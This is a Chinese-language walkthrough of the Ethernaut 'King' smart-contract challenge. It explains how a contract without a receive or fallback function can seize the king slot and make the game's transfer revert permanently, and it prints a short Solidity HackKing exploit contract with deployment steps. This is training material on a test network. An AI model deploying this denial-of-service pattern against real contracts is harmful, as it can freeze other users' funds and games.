9. King
Chain: Goerli
Difficulty: ●●●○○
Level: https://ethernaut.openzeppelin.com/level/0x25141B6345378e7558634Cf7c2d9B8670baFA417
要求
下面的合约表示了一个很简单的游戏: 任何一个发送了高于目前价格的人将成为新的国王. 在这个情况下, 上一个国王将会获得新的出价, 这样可以赚得一些以太币. 看起来像是庞氏骗局.
这么有趣的游戏, 你的目标是攻破他.
当你提交实例给关卡时, 关卡会重新申明王位. 你需要阻止他重获王位来通过这一关.
分析
1 | // SPDX-License-Identifier: MIT |
分析合约代码,关键点在于 receive
函数中:
1 | king.transfer(msg.value); |
这里犯了常见的错误:未考虑调用者 king
为另一个合约的情况。如果该合约未定义 fallback()
和 receive()
函数,transfer()
就会失败,会自动revert
(回滚交易)。
因此只要有一个未定义 fallback()
和 receive()
函数的合约占用king,合约在 transfer 时失败,令king的地址永远属于该合约。
另一个关键点是,King 合约的 receive 有复杂的逻辑, 而
solidity
三种发送ETH
的方法:transfer
,send
和call
。
call
没有gas
限制,最为灵活,是最提倡的方法;transfer
有2300 gas
限制,但是发送失败会自动revert
交易,是次优选择;send
有2300 gas
限制,而且发送失败不会自动revert
交易,几乎没有人用它。
因此只能用 call
函数进行调用。
解题
首先打开Console,获取当前关卡合约实例地址
instance
;打开 Remix IDE,创建文件
9_King.sol
,粘贴以下代码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
contract HackKing {
error CallFailed();
address levelInstance;
constructor(address _levelInstance) payable {
levelInstance = _levelInstance;
}
function give() external payable {
(bool success,) = levelInstance.call{value: msg.value}("");
if(!success){
revert CallFailed();
}
}
}在constructor 填入当前关卡合约实例地址后部署。
再调用
give
函数:- 获取当前King 合约的 prize
await getBalance(instance)
为 0.001 ether - VALUE 需要大于或者等于 0.001 ether
- 手动调高 GAS LIMIT,不然调用合约会因为 out of gas 失败
- 获取当前King 合约的 prize
查看 King 合约的king是否为HackKing 合约。
完成关卡。
后记
大多数 Ethernaut 的关卡尝试展示真实发生的 bug 和 hack (以简化过的方式).
关于这次的情况, 参见: King of the Ether 和 King of the Ether Postmortem